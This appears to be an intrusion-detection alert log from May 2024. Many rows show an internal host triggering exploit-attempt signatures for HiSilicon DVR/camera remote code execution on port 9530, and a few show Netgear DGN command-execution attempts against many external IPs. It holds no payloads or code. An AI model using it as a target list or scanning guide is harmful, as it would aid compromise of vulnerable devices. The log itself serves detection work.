05/16/24-16:39:02.727951	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46804	9530	192.168.2.23	106.20.90.230
05/16/24-16:38:57.304851	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36700	9530	192.168.2.23	76.6.213.244
05/16/24-16:38:57.304851	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36700	9530	192.168.2.23	76.6.213.244
05/16/24-16:39:16.603543	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44064	9530	192.168.2.23	4.24.74.80
05/16/24-16:39:16.603543	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44064	9530	192.168.2.23	4.24.74.80
05/16/24-16:39:16.599010	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57298	9530	192.168.2.23	153.168.212.53
05/16/24-16:39:14.520236	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58870	9530	192.168.2.23	2.208.120.112
05/16/24-16:39:14.520236	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58870	9530	192.168.2.23	2.208.120.112
05/16/24-16:38:57.411176	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40730	9530	192.168.2.23	41.149.150.30
05/16/24-16:39:16.602151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52782	9530	192.168.2.23	203.250.28.83
05/16/24-16:39:16.602151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52782	9530	192.168.2.23	203.250.28.83
05/16/24-16:38:57.411176	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40730	9530	192.168.2.23	41.149.150.30
05/16/24-16:39:02.765707	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55282	9530	192.168.2.23	77.242.53.117
05/16/24-16:39:02.765707	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55282	9530	192.168.2.23	77.242.53.117
05/16/24-16:39:05.709500	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45620	9530	192.168.2.23	211.88.131.187
05/16/24-16:39:16.603545	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50344	9530	192.168.2.23	62.228.125.144
05/16/24-16:39:02.727005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36386	9530	192.168.2.23	68.213.229.50
05/16/24-16:39:16.603545	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50344	9530	192.168.2.23	62.228.125.144
05/16/24-16:39:05.709500	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45620	9530	192.168.2.23	211.88.131.187
05/16/24-16:39:02.727005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36386	9530	192.168.2.23	68.213.229.50
05/16/24-16:38:53.064442	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59582	9530	192.168.2.23	209.69.82.216
05/16/24-16:38:55.192777	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35740	9530	192.168.2.23	122.20.83.234
05/16/24-16:38:55.192777	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35740	9530	192.168.2.23	122.20.83.234
05/16/24-16:39:08.146382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58114	9530	192.168.2.23	149.151.119.240
05/16/24-16:39:08.146382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58114	9530	192.168.2.23	149.151.119.240
05/16/24-16:38:53.064442	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59582	9530	192.168.2.23	209.69.82.216
05/16/24-16:39:14.517511	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52266	9530	192.168.2.23	201.154.51.9
05/16/24-16:39:14.517511	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52266	9530	192.168.2.23	201.154.51.9
05/16/24-16:38:50.079985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49464	9530	192.168.2.23	153.132.138.1
05/16/24-16:38:50.079985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49464	9530	192.168.2.23	153.132.138.1
05/16/24-16:39:03.290430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37058	9530	192.168.2.23	159.8.133.202
05/16/24-16:39:03.290430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37058	9530	192.168.2.23	159.8.133.202
05/16/24-16:39:12.383681	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53558	9530	192.168.2.23	178.3.194.237
05/16/24-16:39:12.383681	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53558	9530	192.168.2.23	178.3.194.237
05/16/24-16:38:55.176055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38828	9530	192.168.2.23	113.95.56.230
05/16/24-16:38:55.176055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38828	9530	192.168.2.23	113.95.56.230
05/16/24-16:38:50.069048	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54274	9530	192.168.2.23	219.147.54.223
05/16/24-16:38:50.069048	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54274	9530	192.168.2.23	219.147.54.223
05/16/24-16:39:05.676308	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48572	9530	192.168.2.23	69.20.159.66
05/16/24-16:39:02.768653	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56744	9530	192.168.2.23	191.182.203.198
05/16/24-16:39:05.676308	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48572	9530	192.168.2.23	69.20.159.66
05/16/24-16:39:02.768653	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56744	9530	192.168.2.23	191.182.203.198
05/16/24-16:39:12.378352	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52264	9530	192.168.2.23	119.72.58.144
05/16/24-16:39:12.378352	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52264	9530	192.168.2.23	119.72.58.144
05/16/24-16:39:12.304197	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54856	9530	192.168.2.23	124.193.146.50
05/16/24-16:39:12.304197	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54856	9530	192.168.2.23	124.193.146.50
05/16/24-16:39:16.599010	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57298	9530	192.168.2.23	153.168.212.53
05/16/24-16:38:57.305730	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58390	9530	192.168.2.23	24.249.174.124
05/16/24-16:38:57.305730	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58390	9530	192.168.2.23	24.249.174.124
05/16/24-16:38:59.559323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41372	9530	192.168.2.23	171.195.100.3
05/16/24-16:38:59.559323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41372	9530	192.168.2.23	171.195.100.3
05/16/24-16:38:59.557688	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46402	9530	192.168.2.23	80.29.44.29
05/16/24-16:39:05.679568	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58264	9530	192.168.2.23	58.145.101.93
05/16/24-16:39:05.679568	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58264	9530	192.168.2.23	58.145.101.93
05/16/24-16:38:59.557688	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46402	9530	192.168.2.23	80.29.44.29
05/16/24-16:39:02.763330	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36828	9530	192.168.2.23	5.122.94.19
05/16/24-16:39:02.763330	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36828	9530	192.168.2.23	5.122.94.19
05/16/24-16:39:16.613549	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46334	9530	192.168.2.23	185.99.255.138
05/16/24-16:39:16.613549	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46334	9530	192.168.2.23	185.99.255.138
05/16/24-16:39:05.713658	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43212	9530	192.168.2.23	220.130.190.75
05/16/24-16:39:05.713658	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43212	9530	192.168.2.23	220.130.190.75
05/16/24-16:39:12.383577	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45038	9530	192.168.2.23	186.91.96.19
05/16/24-16:39:12.383577	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45038	9530	192.168.2.23	186.91.96.19
05/16/24-16:38:57.438280	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36216	9530	192.168.2.23	222.251.31.105
05/16/24-16:38:57.438280	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36216	9530	192.168.2.23	222.251.31.105
05/16/24-16:39:03.253942	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41654	9530	192.168.2.23	90.214.19.10
05/16/24-16:39:03.253942	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41654	9530	192.168.2.23	90.214.19.10
05/16/24-16:38:57.305716	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56270	9530	192.168.2.23	141.127.79.12
05/16/24-16:38:57.305716	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56270	9530	192.168.2.23	141.127.79.12
05/16/24-16:38:50.046374	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37442	9530	192.168.2.23	172.129.168.244
05/16/24-16:38:50.046374	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37442	9530	192.168.2.23	172.129.168.244
05/16/24-16:38:55.187222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57694	9530	192.168.2.23	187.79.17.104
05/16/24-16:39:01.480548	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	37344	80	192.168.2.23	89.83.16.175
05/16/24-16:39:02.747129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46414	9530	192.168.2.23	110.99.148.249
05/16/24-16:39:02.747129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46414	9530	192.168.2.23	110.99.148.249
05/16/24-16:38:55.187222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57694	9530	192.168.2.23	187.79.17.104
05/16/24-16:38:55.220925	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54558	9530	192.168.2.23	171.76.115.9
05/16/24-16:38:55.220925	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54558	9530	192.168.2.23	171.76.115.9
05/16/24-16:39:12.295418	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51298	9530	192.168.2.23	108.182.127.156
05/16/24-16:39:12.295418	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51298	9530	192.168.2.23	108.182.127.156
05/16/24-16:38:50.065072	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56914	9530	192.168.2.23	81.179.148.181
05/16/24-16:38:50.065072	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56914	9530	192.168.2.23	81.179.148.181
05/16/24-16:39:16.610510	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39154	9530	192.168.2.23	142.28.116.4
05/16/24-16:39:08.127288	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34720	9530	192.168.2.23	149.221.43.125
05/16/24-16:39:16.610510	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39154	9530	192.168.2.23	142.28.116.4
05/16/24-16:39:08.127288	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34720	9530	192.168.2.23	149.221.43.125
05/16/24-16:38:59.520109	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51576	9530	192.168.2.23	77.73.92.251
05/16/24-16:38:59.520109	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51576	9530	192.168.2.23	77.73.92.251
05/16/24-16:39:14.507654	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40524	9530	192.168.2.23	105.196.127.1
05/16/24-16:39:14.507654	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40524	9530	192.168.2.23	105.196.127.1
05/16/24-16:38:53.083627	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36624	9530	192.168.2.23	183.171.237.47
05/16/24-16:39:16.599371	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53116	9530	192.168.2.23	100.141.12.40
05/16/24-16:38:53.083627	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36624	9530	192.168.2.23	183.171.237.47
05/16/24-16:38:59.583162	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57956	9530	192.168.2.23	130.31.223.129
05/16/24-16:39:05.677627	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55254	9530	192.168.2.23	36.112.217.126
05/16/24-16:38:59.583162	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57956	9530	192.168.2.23	130.31.223.129
05/16/24-16:39:05.677627	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55254	9530	192.168.2.23	36.112.217.126
05/16/24-16:39:16.599371	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53116	9530	192.168.2.23	100.141.12.40
05/16/24-16:39:05.675913	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57862	9530	192.168.2.23	185.38.227.120
05/16/24-16:39:05.675913	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57862	9530	192.168.2.23	185.38.227.120
05/16/24-16:38:53.013591	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34452	9530	192.168.2.23	66.81.233.102
05/16/24-16:39:12.406686	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33606	9530	192.168.2.23	43.75.74.176
05/16/24-16:38:53.013591	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34452	9530	192.168.2.23	66.81.233.102
05/16/24-16:39:16.582484	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52324	9530	192.168.2.23	158.188.237.56
05/16/24-16:39:05.674998	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37814	9530	192.168.2.23	183.111.20.141
05/16/24-16:39:16.582484	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52324	9530	192.168.2.23	158.188.237.56
05/16/24-16:39:05.674998	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37814	9530	192.168.2.23	183.111.20.141
05/16/24-16:38:55.216478	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49956	9530	192.168.2.23	81.4.112.194
05/16/24-16:39:02.748363	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42488	9530	192.168.2.23	157.147.57.90
05/16/24-16:39:12.406686	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33606	9530	192.168.2.23	43.75.74.176
05/16/24-16:38:55.216478	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49956	9530	192.168.2.23	81.4.112.194
05/16/24-16:39:02.748363	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42488	9530	192.168.2.23	157.147.57.90
05/16/24-16:38:53.410061	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	51066	80	192.168.2.23	64.175.91.127
05/16/24-16:39:14.491192	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50192	9530	192.168.2.23	142.134.31.197
05/16/24-16:39:14.491192	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50192	9530	192.168.2.23	142.134.31.197
05/16/24-16:38:59.519981	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37136	9530	192.168.2.23	165.202.165.175
05/16/24-16:39:12.295487	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47492	9530	192.168.2.23	50.2.121.234
05/16/24-16:38:59.519981	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37136	9530	192.168.2.23	165.202.165.175
05/16/24-16:38:59.557747	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50332	9530	192.168.2.23	196.187.126.36
05/16/24-16:38:59.557747	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50332	9530	192.168.2.23	196.187.126.36
05/16/24-16:38:55.216372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44950	9530	192.168.2.23	144.72.113.230
05/16/24-16:38:59.557667	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38318	9530	192.168.2.23	129.70.37.9
05/16/24-16:38:55.216372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44950	9530	192.168.2.23	144.72.113.230
05/16/24-16:38:59.557667	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38318	9530	192.168.2.23	129.70.37.9
05/16/24-16:38:50.052482	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38546	9530	192.168.2.23	2.215.171.109
05/16/24-16:38:50.052482	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38546	9530	192.168.2.23	2.215.171.109
05/16/24-16:39:12.295487	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47492	9530	192.168.2.23	50.2.121.234
05/16/24-16:39:08.149075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56702	9530	192.168.2.23	78.207.220.5
05/16/24-16:39:03.262292	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37318	9530	192.168.2.23	184.245.205.179
05/16/24-16:39:08.149075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56702	9530	192.168.2.23	78.207.220.5
05/16/24-16:39:03.262292	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37318	9530	192.168.2.23	184.245.205.179
05/16/24-16:39:05.699919	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55646	9530	192.168.2.23	165.16.104.25
05/16/24-16:39:05.699919	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55646	9530	192.168.2.23	165.16.104.25
05/16/24-16:38:53.094014	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60054	9530	192.168.2.23	5.130.79.38
05/16/24-16:38:53.410682	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	36694	80	192.168.2.23	203.60.113.51
05/16/24-16:39:16.610520	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43096	9530	192.168.2.23	140.105.91.158
05/16/24-16:38:53.094014	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60054	9530	192.168.2.23	5.130.79.38
05/16/24-16:39:13.656745	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	49390	80	192.168.2.23	72.121.120.109
05/16/24-16:39:16.610520	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43096	9530	192.168.2.23	140.105.91.158
05/16/24-16:39:12.380577	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44578	9530	192.168.2.23	4.193.148.189
05/16/24-16:39:12.380577	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44578	9530	192.168.2.23	4.193.148.189
05/16/24-16:39:08.146378	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56540	9530	192.168.2.23	5.39.162.12
05/16/24-16:39:08.146378	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56540	9530	192.168.2.23	5.39.162.12
05/16/24-16:39:14.493383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35742	9530	192.168.2.23	140.139.101.128
05/16/24-16:39:03.260892	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36284	9530	192.168.2.23	87.234.22.140
05/16/24-16:39:08.041893	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57380	9530	192.168.2.23	98.195.228.0
05/16/24-16:39:14.493383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35742	9530	192.168.2.23	140.139.101.128
05/16/24-16:39:08.041893	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57380	9530	192.168.2.23	98.195.228.0
05/16/24-16:39:03.260892	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36284	9530	192.168.2.23	87.234.22.140
05/16/24-16:39:12.377432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56194	9530	192.168.2.23	107.185.133.249
05/16/24-16:39:12.377432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56194	9530	192.168.2.23	107.185.133.249
05/16/24-16:38:53.011249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34522	9530	192.168.2.23	128.6.151.74
05/16/24-16:38:53.011249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34522	9530	192.168.2.23	128.6.151.74
05/16/24-16:38:53.410286	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	57020	80	192.168.2.23	24.160.198.68
05/16/24-16:38:53.011251	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38580	9530	192.168.2.23	58.37.245.134
05/16/24-16:38:50.076339	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58256	9530	192.168.2.23	94.101.210.144
05/16/24-16:38:50.076339	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58256	9530	192.168.2.23	94.101.210.144
05/16/24-16:38:53.011251	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38580	9530	192.168.2.23	58.37.245.134
05/16/24-16:39:02.762295	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35262	9530	192.168.2.23	108.58.179.215
05/16/24-16:39:08.127310	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59464	9530	192.168.2.23	47.130.238.161
05/16/24-16:39:02.762295	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35262	9530	192.168.2.23	108.58.179.215
05/16/24-16:39:03.260046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46890	9530	192.168.2.23	67.113.37.225
05/16/24-16:39:14.516758	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50184	9530	192.168.2.23	144.119.69.90
05/16/24-16:39:03.260046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46890	9530	192.168.2.23	67.113.37.225
05/16/24-16:39:14.516758	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50184	9530	192.168.2.23	144.119.69.90
05/16/24-16:39:16.579873	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39286	9530	192.168.2.23	108.193.58.118
05/16/24-16:39:16.579873	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39286	9530	192.168.2.23	108.193.58.118
05/16/24-16:39:08.127310	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59464	9530	192.168.2.23	47.130.238.161
05/16/24-16:39:12.304157	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39506	9530	192.168.2.23	208.72.80.84
05/16/24-16:39:12.304157	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39506	9530	192.168.2.23	208.72.80.84
05/16/24-16:39:16.610510	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54788	9530	192.168.2.23	212.126.127.35
05/16/24-16:39:16.610510	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54788	9530	192.168.2.23	212.126.127.35
05/16/24-16:39:12.301203	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37422	9530	192.168.2.23	181.146.208.92
05/16/24-16:39:12.301203	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37422	9530	192.168.2.23	181.146.208.92
05/16/24-16:39:08.146688	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49234	9530	192.168.2.23	143.43.29.66
